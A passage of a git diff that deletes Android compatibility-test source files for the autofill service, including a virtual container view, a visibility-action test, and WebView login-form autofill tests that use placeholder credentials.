-    void setSync(boolean sync) {
-        mSync = sync;
-    }
-
-    void setCompatMode(boolean compatMode) {
-        mCompatMode = compatMode;
-
-        if (mCompatMode) {
-            setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES);
-            mAccessibilityNodeProvider = new AccessibilityNodeProvider() {
-                @Override
-                public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
-                    Log.d(TAG, "createAccessibilityNodeInfo(): id=" + virtualViewId);
-                    switch (virtualViewId) {
-                        case AccessibilityNodeProvider.HOST_VIEW_ID:
-                            return onProvideAutofillCompatModeAccessibilityNodeInfo();
-                        case LOGIN_BUTTON_VIRTUAL_ID:
-                            return onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton();
-                        default:
-                            final Item item = getItem(virtualViewId);
-                            return item.provideAccessibilityNodeInfo(VirtualContainerView.this,
-                                    getContext());
-                    }
-                }
-
-                @Override
-                public boolean performAction(int virtualViewId, int action, Bundle arguments) {
-                    if (action == AccessibilityNodeInfo.ACTION_SET_TEXT) {
-                        final CharSequence text = arguments.getCharSequence(
-                                AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE);
-                        final Item item = getItem(virtualViewId);
-                        item.autofill(text);
-                        return true;
-                    }
-
-                    return false;
-                }
-            };
-            mAccessibilityDelegate = new AccessibilityDelegate() {
-                @Override
-                public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
-                    return mAccessibilityNodeProvider;
-                }
-            };
-
-            setAccessibilityDelegate(mAccessibilityDelegate);
-        }
-    }
-
-    void setOverrideDispatchProvideAutofillStructure(boolean flag) {
-        mOverrideDispatchProvideAutofillStructure = flag;
-    }
-
-    private void sendAccessibilityEvent(int eventType, int virtualId) {
-        final AccessibilityEvent event = AccessibilityEvent.obtain();
-        event.setEventType(eventType);
-        event.setSource(VirtualContainerView.this, virtualId);
-        event.setEnabled(true);
-        event.setPackageName(getContext().getPackageName());
-        Log.v(TAG, "sendAccessibilityEvent(" + eventType + ", " + virtualId + "): " + event);
-        getContext().getSystemService(AccessibilityManager.class).sendAccessibilityEvent(event);
-    }
-
-    final class Line {
-
-        final Item label;
-        final Item text;
-        // Boundaries of the text field, relative to the CustomView
-        final Rect bounds = new Rect();
-        // Boundaries of the text field, relative to the screen
-        Rect absBounds;
-
-        private boolean focused;
-        private boolean visible = true;
-        private final int inputType;
-
-        private Line(String labelId, String label, String textId, String text, int inputType) {
-            this.label = new Item(this, ++mNextChildId, labelId, label, false, false);
-            this.text = new Item(this, ++mNextChildId, textId, text, true, true);
-            this.inputType = inputType;
-        }
-
-        void changeFocus(boolean focused) {
-            this.focused = focused;
-
-            if (focused) {
-                absBounds = getAbsCoordinates();
-                Log.v(TAG, "Setting absBounds for " + text.id + " on focus change: " + absBounds);
-            }
-
-            if (mCompatMode) {
-                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_FOCUSED, text.id);
-                return;
-            }
-
-            if (focused) {
-                Log.d(TAG, "focus gained on " + text.id + "; absBounds=" + absBounds);
-                mAfm.notifyViewEntered(VirtualContainerView.this, text.id, absBounds);
-            } else {
-                Log.d(TAG, "focus lost on " + text.id);
-                mAfm.notifyViewExited(VirtualContainerView.this, text.id);
-            }
-        }
-
-        void setVisibilityIntegrationMode(VisibilityIntegrationMode mode) {
-            mVisibilityIntegrationMode = mode;
-        }
-
-        void changeVisibility(boolean visible) {
-            if (mVisibilityIntegrationMode == null) {
-                throw new IllegalStateException("must call setVisibilityIntegrationMode() first");
-            }
-            if (this.visible == visible) {
-                return;
-            }
-            this.visible = visible;
-            Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible
-                    + "; integrationMode: " + mVisibilityIntegrationMode);
-            if (mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM) {
-                mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
-            }
-            invalidate();
-        }
-
-        Rect getAbsCoordinates() {
-            // Must offset the boundaries so they're relative to the CustomView.
-            final int offset[] = new int[2];
-            getLocationOnScreen(offset);
-            final Rect absBounds = new Rect(bounds.left + offset[0],
-                    bounds.top + offset[1],
-                    bounds.right + offset[0], bounds.bottom + offset[1]);
-            Log.v(TAG, "getAbsCoordinates() for " + text.id + ": bounds=" + bounds
-                    + " offset: " + Arrays.toString(offset) + " absBounds: " + absBounds);
-            return absBounds;
-        }
-
-        void setText(String value) {
-            text.text = value;
-            final AutofillManager autofillManager =
-                    getContext().getSystemService(AutofillManager.class);
-            if (mCompatMode) {
-                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, text.id);
-            } else {
-                if (autofillManager != null) {
-                    autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
-                            AutofillValue.forText(text.text));
-                }
-            }
-            invalidate();
-        }
-
-        void setTextChangedListener(TextWatcher listener) {
-            text.listener = listener;
-        }
-
-        @Override
-        public String toString() {
-            return "Label: " + label + " Text: " + text + " Focused: " + focused
-                    + " Visible: " + visible;
-        }
-
-        final class OneTimeLineWatcher implements TextWatcher {
-            private final CountDownLatch latch;
-            private final CharSequence expected;
-
-            OneTimeLineWatcher(CharSequence expectedValue) {
-                this.expected = expectedValue;
-                this.latch = new CountDownLatch(1);
-            }
-
-            @Override
-            public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-            }
-
-            @Override
-            public void onTextChanged(CharSequence s, int start, int before, int count) {
-                latch.countDown();
-            }
-
-            @Override
-            public void afterTextChanged(Editable s) {
-            }
-
-            void assertAutoFilled() throws Exception {
-                final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-                assertWithMessage("Timeout (%s ms) on Line %s", FILL_TIMEOUT.ms(), label)
-                        .that(set).isTrue();
-                final String actual = text.text.toString();
-                assertWithMessage("Wrong auto-fill value on Line %s", label)
-                        .that(actual).isEqualTo(expected.toString());
-            }
-        }
-    }
-
-    static final class Item {
-        private final Line line;
-        final int id;
-        private final String resourceId;
-        private CharSequence text;
-        private final boolean editable;
-        private final boolean sensitive;
-        private final String className;
-        private TextWatcher listener;
-
-        Item(Line line, int id, String resourceId, CharSequence text, boolean editable,
-                boolean sensitive) {
-            this.line = line;
-            this.id = id;
-            this.resourceId = resourceId;
-            this.text = text;
-            this.editable = editable;
-            this.sensitive = sensitive;
-            this.className = editable ? TEXT_CLASS : LABEL_CLASS;
-        }
-
-        AccessibilityNodeInfo provideAccessibilityNodeInfo(View parent, Context context) {
-            final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
-            node.setSource(parent, id);
-            node.setPackageName(context.getPackageName());
-            node.setClassName(className);
-            node.setEditable(editable);
-            node.setViewIdResourceName(resourceId);
-            node.setVisibleToUser(true);
-            node.setInputType(line.inputType);
-            if (line.absBounds != null) {
-                node.setBoundsInScreen(line.absBounds);
-            }
-            if (TextUtils.getTrimmedLength(text) > 0) {
-                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
-                // set width
-                node.setText(text);
-            }
-            return node;
-        }
-
-        private void autofill(CharSequence value) {
-            if (!editable) {
-                Log.w(TAG, "Item for id " + id + " is not editable: " + this);
-                return;
-            }
-            text = value;
-            if (listener != null) {
-                Log.d(TAG, "Notify listener: " + text);
-                listener.onTextChanged(text, 0, 0, 0);
-            }
-        }
-
-        @Override
-        public String toString() {
-            return id + "/" + resourceId + ": " + text + (editable ? " (editable)" : " (read-only)"
-                    + (sensitive ? " (sensitive)" : " (sanitized"));
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VisibilitySetterActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/VisibilitySetterActionTest.java
deleted file mode 100644
index 202c5fd..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VisibilitySetterActionTest.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.VisibilitySetterAction;
-import android.view.View;
-import android.view.ViewGroup;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class VisibilitySetterActionTest {
-
-    private static final Context sContext = getInstrumentation().getTargetContext();
-    private final ViewGroup mRootView = new ViewGroup(sContext) {
-
-        @Override
-        protected void onLayout(boolean changed, int l, int t, int r, int b) {}
-    };
-
-    @Test
-    public void testValidVisibilities() {
-        assertThat(new VisibilitySetterAction.Builder(42, View.VISIBLE).build()).isNotNull();
-        assertThat(new VisibilitySetterAction.Builder(42, View.GONE).build()).isNotNull();
-        assertThat(new VisibilitySetterAction.Builder(42, View.INVISIBLE).build()).isNotNull();
-    }
-
-    @Test
-    public void testInvalidVisibilities() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new VisibilitySetterAction.Builder(42, 666).build());
-        final VisibilitySetterAction.Builder validBuilder =
-                new VisibilitySetterAction.Builder(42, View.VISIBLE);
-        assertThrows(IllegalArgumentException.class,
-                () -> validBuilder.setVisibility(108, 666).build());
-    }
-
-    @Test
-    public void testOneChild() {
-        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
-                .build();
-        final View view = new View(sContext);
-        view.setId(42);
-        view.setVisibility(View.GONE);
-        mRootView.addView(view);
-
-        action.onClick(mRootView);
-
-        assertThat(view.getVisibility()).isEqualTo(View.VISIBLE);
-    }
-
-    @Test
-    public void testOneChildAddedTwice() {
-        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
-                .setVisibility(42, View.INVISIBLE)
-                .build();
-        final View view = new View(sContext);
-        view.setId(42);
-        view.setVisibility(View.GONE);
-        mRootView.addView(view);
-
-        action.onClick(mRootView);
-
-        assertThat(view.getVisibility()).isEqualTo(View.INVISIBLE);
-    }
-
-    @Test
-    public void testMultipleChildren() {
-        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
-                .setVisibility(108, View.INVISIBLE)
-                .build();
-        final View view1 = new View(sContext);
-        view1.setId(42);
-        view1.setVisibility(View.GONE);
-        mRootView.addView(view1);
-
-        final View view2 = new View(sContext);
-        view2.setId(108);
-        view2.setVisibility(View.GONE);
-        mRootView.addView(view2);
-
-        action.onClick(mRootView);
-
-        assertThat(view1.getVisibility()).isEqualTo(View.VISIBLE);
-        assertThat(view2.getVisibility()).isEqualTo(View.INVISIBLE);
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        final VisibilitySetterAction.Builder builder =
-                new VisibilitySetterAction.Builder(42, View.VISIBLE);
-
-        assertThat(builder.build()).isNotNull();
-        assertThrows(IllegalStateException.class, () -> builder.build());
-        assertThrows(IllegalStateException.class, () -> builder.setVisibility(108, View.GONE));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Visitor.java b/tests/autofillservice/src/android/autofillservice/cts/Visitor.java
deleted file mode 100644
index 95bafa7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/Visitor.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * A generic visitor.
- *
- * <p>Typically used by activities under test to provide a way to run an action on the view using
- * the UI thread. Example:
- * <pre><code>
- * void onUsername(ViewVisitor<EditText> v) {
- *     runOnUiThread(() -> v.visit(mUsername));
- * }
- * </code></pre>
- */
-// TODO: move to common code
-public interface Visitor<T> {
-
-    void visit(T object);
-}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
deleted file mode 100644
index 5946442..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.View;
-import android.webkit.WebResourceRequest;
-import android.webkit.WebResourceResponse;
-import android.webkit.WebView;
-import android.webkit.WebViewClient;
-import android.widget.EditText;
-import android.widget.LinearLayout;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.io.IOException;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class WebViewActivity extends AbstractWebViewActivity {
-
-    private static final String TAG = "WebViewActivity";
-    private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
-    static final String ID_WEBVIEW = "webview";
-
-    static final String ID_OUTSIDE1 = "outside1";
-    static final String ID_OUTSIDE2 = "outside2";
-
-    private LinearLayout mParent;
-    private LinearLayout mOutsideContainer1;
-    private LinearLayout mOutsideContainer2;
-    EditText mOutside1;
-    EditText mOutside2;
-
-    private UiObject2 mUsernameLabel;
-    private UiObject2 mUsernameInput;
-    private UiObject2 mPasswordLabel;
-    private UiObject2 mPasswordInput;
-    private UiObject2 mLoginButton;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.webview_activity);
-
-        mParent = findViewById(R.id.parent);
-        mOutsideContainer1 = findViewById(R.id.outsideContainer1);
-        mOutsideContainer2 = findViewById(R.id.outsideContainer2);
-        mOutside1 = findViewById(R.id.outside1);
-        mOutside2 = findViewById(R.id.outside2);
-    }
-
-    public MyWebView loadWebView(UiBot uiBot) throws Exception {
-        return loadWebView(uiBot, false);
-    }
-
-    public MyWebView loadWebView(UiBot uiBot, boolean usingAppContext) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> {
-            final Context context = usingAppContext ? getApplicationContext() : this;
-            mWebView = new MyWebView(context);
-            mParent.addView(mWebView);
-            mWebView.setWebViewClient(new WebViewClient() {
-                // WebView does not set the WebDomain on file:// requests, so we need to use an
-                // https:// request and intercept it to provide the real data.
-                @Override
-                public WebResourceResponse shouldInterceptRequest(WebView view,
-                        WebResourceRequest request) {
-                    final String url = request.getUrl().toString();
-                    if (!url.equals(FAKE_URL)) {
-                        Log.d(TAG, "Ignoring " + url);
-                        return super.shouldInterceptRequest(view, request);
-                    }
-
-                    final String rawPath = request.getUrl().getPath()
-                            .substring(1); // Remove leading /
-                    Log.d(TAG, "Converting " + url + " to " + rawPath);
-                    // NOTE: cannot use try-with-resources because it would close the stream before
-                    // WebView uses it.
-                    try {
-                        return new WebResourceResponse("text/html", "utf-8",
-                                getAssets().open(rawPath));
-                    } catch (IOException e) {
-                        throw new IllegalArgumentException("Error opening " + rawPath, e);
-                    }
-                }
-
-                @Override
-                public void onPageFinished(WebView view, String url) {
-                    Log.v(TAG, "onPageFinished(): " + url);
-                    latch.countDown();
-                }
-            });
-            mWebView.loadUrl(FAKE_URL);
-        });
-
-        // Wait until it's loaded.
-        if (!latch.await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
-        }
-
-        // Validation check to make sure autofill was enabled when the WebView was created
-        assertThat(mWebView.isAutofillEnabled()).isTrue();
-
-        // WebView builds its accessibility tree asynchronously and only after being queried the
-        // first time, so we should first find the WebView and query some of its properties,
-        // wait for its accessibility tree to be populated (by blocking until a known element
-        // appears), then cache the objects for further use.
-
-        // NOTE: we cannot search by resourceId because WebView does not set them...
-
-        // Wait for known element...
-        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
-        // ...then cache the others
-        mUsernameInput = getInput(uiBot, mUsernameLabel);
-        mPasswordLabel = uiBot.findRightAwayByText("Password: ");
-        mPasswordInput = getInput(uiBot, mPasswordLabel);
-        mLoginButton = uiBot.findRightAwayByText("Login");
-
-        return mWebView;
-    }
-
-    public void loadOutsideViews() {
-        syncRunOnUiThread(() -> {
-            mOutsideContainer1.setVisibility(View.VISIBLE);
-            mOutsideContainer2.setVisibility(View.VISIBLE);
-        });
-    }
-
-    public UiObject2 getUsernameLabel() throws Exception {
-        return mUsernameLabel;
-    }
-
-    public UiObject2 getPasswordLabel() throws Exception {
-        return mPasswordLabel;
-    }
-
-    public UiObject2 getUsernameInput() throws Exception {
-        return mUsernameInput;
-    }
-
-    public UiObject2 getPasswordInput() throws Exception {
-        return mPasswordInput;
-    }
-
-    public UiObject2 getLoginButton() throws Exception {
-        return mLoginButton;
-    }
-
-    @Override
-    public void clearFocus() {
-        syncRunOnUiThread(() -> mParent.requestFocus());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
deleted file mode 100644
index bd3682f..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ /dev/null
@@ -1,581 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
-import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.KeyEvent;
-import android.view.ViewStructure.HtmlInfo;
-
-import org.junit.Ignore;
-import org.junit.Test;
-
-public class WebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
-
-    private static final String TAG = "WebViewActivityTest";
-
-    private WebViewActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
-        return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
-
-            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
-            // disable autofill for optimization when it returns false, and unfortunately the value
-            // returned by that method does not change when the service is enabled / disabled, so we
-            // need to start enable the service before launching the activity.
-            // Once that's fixed, remove this overridden method.
-            @Override
-            protected void beforeActivityLaunched() {
-                super.beforeActivityLaunched();
-                Log.i(TAG, "Setting service before launching the activity");
-                enableService();
-            }
-
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillOneDataset() is enough")
-    public void testAutofillNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        mActivity.loadWebView(mUiBot);
-
-        // Set expectations.
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-
-        // Assert not shown.
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testAutofillOneDataset() throws Exception {
-        autofillOneDatasetTest(false);
-    }
-
-    @Ignore("blocked on b/74793485")
-    @Test
-    @AppModeFull(reason = "testAutofillOneDataset() is enough")
-    public void testAutofillOneDataset_usingAppContext() throws Exception {
-        autofillOneDatasetTest(true);
-    }
-
-    private void autofillOneDatasetTest(boolean usesAppContext) throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
-        // Validation check to make sure autofill is enabled in the application context
-        Helper.assertAutofillEnabled(myWebView.getContext(), true);
-
-        // Set expectations.
-        myWebView.expectAutofill("dude", "sweet");
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(HTML_NAME_USERNAME, "dude")
-                .setField(HTML_NAME_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Change focus around.
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-        mActivity.getUsernameLabel().click();
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-        mUiBot.assertNoDatasets();
-        mActivity.getPasswordInput().click();
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
-
-        // Now Autofill it.
-        mUiBot.selectDataset(datasetPicker, "The Dude");
-        myWebView.assertAutofilled();
-        mUiBot.assertNoDatasets();
-        callback.assertUiHiddenEvent(myWebView, passwordChildId);
-
-        // Assert structure passed to service.
-        try {
-            final ViewNode webViewNode =
-                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
-            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
-            assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
-            assertThat(webViewNode.getWebScheme()).isEqualTo("https");
-
-            final ViewNode usernameNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
-            Helper.assertTextIsSanitized(usernameNode);
-            final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
-            Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
-            Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
-            assertThat(usernameNode.isFocused()).isTrue();
-            assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
-            assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
-
-            final ViewNode passwordNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
-            Helper.assertTextIsSanitized(passwordNode);
-            final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
-            Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
-            Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
-            assertThat(passwordNode.getAutofillHints()).asList()
-                    .containsExactly("current-password");
-            assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
-            assertThat(passwordNode.isFocused()).isFalse();
-        } catch (RuntimeException | Error e) {
-            Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    public void testSaveOnly() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        mActivity.loadWebView(mUiBot);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-
-        // Assert not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameNode, "u");
-            Helper.assertTextAndValue(passwordNode, "p");
-        } else {
-            Helper.assertTextAndValue(usernameNode, "DUDE");
-            Helper.assertTextAndValue(passwordNode, "SWEET");
-        }
-    }
-
-    @Test
-    public void testAutofillAndSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-
-        // Set expectations.
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        myWebView.expectAutofill("dude", "sweet");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(HTML_NAME_USERNAME, "dude")
-                        .setField(HTML_NAME_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        // Assert structure passed to service.
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_USERNAME);
-        Helper.assertTextIsSanitized(usernameNode);
-        assertThat(usernameNode.isFocused()).isTrue();
-        assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_PASSWORD);
-        Helper.assertTextIsSanitized(passwordNode);
-        assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
-        assertThat(passwordNode.isFocused()).isFalse();
-
-        // Autofill it.
-        mUiBot.selectDataset("The Dude");
-        myWebView.assertAutofilled();
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameNode2, "dudeu");
-            Helper.assertTextAndValue(passwordNode2, "sweetp");
-        } else {
-            Helper.assertTextAndValue(usernameNode2, "DUDE");
-            Helper.assertTextAndValue(passwordNode2, "SWEET");
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillAndSave() is enough")
-    public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load views
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-        mActivity.loadOutsideViews();
-
-        // Set expectations.
-        myWebView.expectAutofill("dude", "sweet");
-        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
-                mActivity.mOutside1, "duder");
-        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
-                mActivity.mOutside2, "sweeter");
-        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
